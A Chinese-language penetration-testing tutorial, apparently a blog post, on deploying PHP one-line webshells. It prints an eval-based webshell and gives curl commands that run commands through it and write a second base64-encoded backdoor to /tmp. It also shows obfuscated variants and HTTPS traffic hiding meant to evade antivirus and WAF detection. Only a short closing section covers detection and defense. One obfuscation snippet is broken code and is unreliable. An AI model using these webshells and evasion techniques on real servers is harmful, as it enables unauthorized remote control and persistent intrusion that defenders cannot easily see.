0x01 攻击板块

在一个真实的渗透测试案例中,我受邀对一家互联网公司的内部网络进行评估。在进入内部网络后,我发现他们的某个业务系统未更新,存在远程代码执行漏洞。为了进一步渗透,我选择使用一句话木马作为后续攻击的入口。本文旨在介绍如何使用一句话木马,并说明其使用和伪装技巧。注意:本文仅供授权安全测试和安全研究人员学习,请勿非法使用。

一句话木马通常是一个看似无害的代码片段,能够在目标服务器上执行任意命令。它的简洁性和灵活性使其成为渗透测试中一个强有力的工具,尤其在突破防御严格的环境时,我们可以快速部署并实现远控。

流量捕获实战

在这个章节,我们将搭建一个简单的实战环境,并通过一个流量捕获的过程,展示如何利用一句话木马进行渗透,达到内网横向移动的目的。

环境搭建

首先,我们需要一台带有 Web 服务的虚拟机作为目标机器。可以使用常见的 Linux 发行版,如 Ubuntu 或 CentOS,并安装 Apache 或 Nginx 作为 Web 服务器。确保目标机器防火墙开放80端口。

接下来,我们需要准备攻击者的机器,可以使用 Kali Linux,因为它预装了许多渗透测试工具。确保两个虚拟机在同一个网络中,确保我们可以从攻击者机器访问目标机器的 Web 服务。

流量捕获过程

在目标 Web 服务上配置如下 PHP 代码,作为一句话木马:

<pre><code class="language-php">&lt;?php @eval($_POST[&#039;cmd&#039;]); ?&gt;</code></pre>

这个木马通过 HTTP POST 请求传递命令,并使用 PHP 的 eval 函数执行。为了捕获流量,我们可以在攻击者机器上使用 tcpdump 或 Wireshark 来监听目标机器的80端口流量。

以下是使用 tcpdump 的命令:

<pre><code class="language-bash">sudo tcpdump -i eth0 port 80 -w capture.pcap</code></pre>

该命令将在网络接口 eth0 上捕获目标机器的 HTTP 流量,并将其保存到 capture.pcap 文件中。

Payload构造的艺术

黑客示意图

一句话木马的核心在于它的隐蔽性和灵活性。为了进一步深入目标系统,我们需要精心构造传递的 cmd 参数,以实现更复杂的操作。

基础命令执行

我们可以通过简单的 POST 请求执行命令,例如:

<pre><code class="language-bash">curl -X POST http://target-ip/evil.php -d &quot;cmd=whoami&quot;</code></pre>

这将返回执行结果的用户名。为了更隐蔽,我们可以在木马中加入命令混淆,防止被简单的字符串匹配检测到:

<pre><code class="language-bash">curl -X POST http://target-ip/evil.php -d &quot;cmd=system(base64_decode(&#039;cHdk&#039;));&quot;</code></pre>

此命令通过 base64_decode 进行解码,执行 pwd 命令,从而返回当前工作目录。

复杂操作

为了实现更复杂的操作,比如文件上传、下载,我们可以通过以下方式构造木马:

<pre><code class="language-bash">curl -X POST http://target-ip/evil.php -d &quot;cmd=file_put_contents(&#039;/tmp/backdoor.php&#039;, base64_decode(&#039;PD9waHAKQGV2YWwoJF9QT1NUW2NtZF0pOw==&#039;));&quot;</code></pre>

该命令创建一个新的 PHP 文件,并把一个新的木马解码后写入其中。这样,我们可以通过访问 /tmp/backdoor.php 来进一步控制目标机器。

绕过杀软与免杀技巧

一句话木马本身容易被检测到,尤其在目标服务器运行杀毒软件或 WAF 的情况下。因此我们需要进行免杀处理和流量伪装。

简单混淆

为了避免被杀软直接检测到,我们可以对木马进行简单混淆,例如使用字符串拼接:

<pre><code class="language-php">&lt;?php @${&quot;eval&quot;}($_POST[&#039;cmd&#039;]); ?&gt;</code></pre>

或者通过字符串翻转:

黑客示意图

<pre><code class="language-php">&lt;?php @eval(strrev(&quot;dmc&quot;[&quot;cmd&quot;])); ?&gt;</code></pre>

流量隐藏

我们可以通过 HTTPS 加密进行传输,避免被流量分析工具检测到命令内容。确保目标服务器使用 SSL/TLS,并通过 curl 使用 https 协议:

<pre><code class="language-bash">curl -X POST https://target-ip/evil.php -d &quot;cmd=whoami&quot; --insecure</code></pre>

加上 --insecure 选项,以避免证书验证错误。

检测与防御策略

虽然一句话木马强大,但防御措施也在不断发展。作为防御者,我们需要识别和阻止这种攻击。

检测方法

黑客示意图

使用流量分析工具(如 Wireshark)检测 POST 请求中的 cmd 参数是否包含可疑代码片段。同时,我们可以通过监控 Web 服务器的日志文件,识别频繁的异常请求。

Web应用防火墙(WAF)

部署 WAF,可以配置规则,匹配常见的一句话木马模式,并阻止这些请求。特别是对于 evalsystem 等函数的使用进行严格过滤。

定期审计与更新

确保 Web 应用及服务器定期更新,修补已知漏洞。定期审计代码,尤其是用户可输入的部分,确保没有被恶意利用的可能。

个人经验分享

在多年的红队工作中,我发现一句话木马在快速渗透、权限维持方面发挥了巨大的作用。然而,攻击者的技巧与防御者的策略总是相互交替进化。为了应对不断变化的网络安全环境,我们必须保持学习与创新。

作为攻击者:永远不要低估目标的防御能力,任何时候都应该考虑如何隐藏自己。灵活运用混淆与加密技术,避免被简单识别。

作为防御者:保持警惕,及时更新 WAF 规则和系统补丁。通过日志和流量分析,发现异常并迅速响应。

本次分享的内容仅供学习与技术提升,期望安全研究人员能够通过不断的实践,提升自己在网络安全领域的能力。请合法合规地使用这些技术,维护网络空间安全。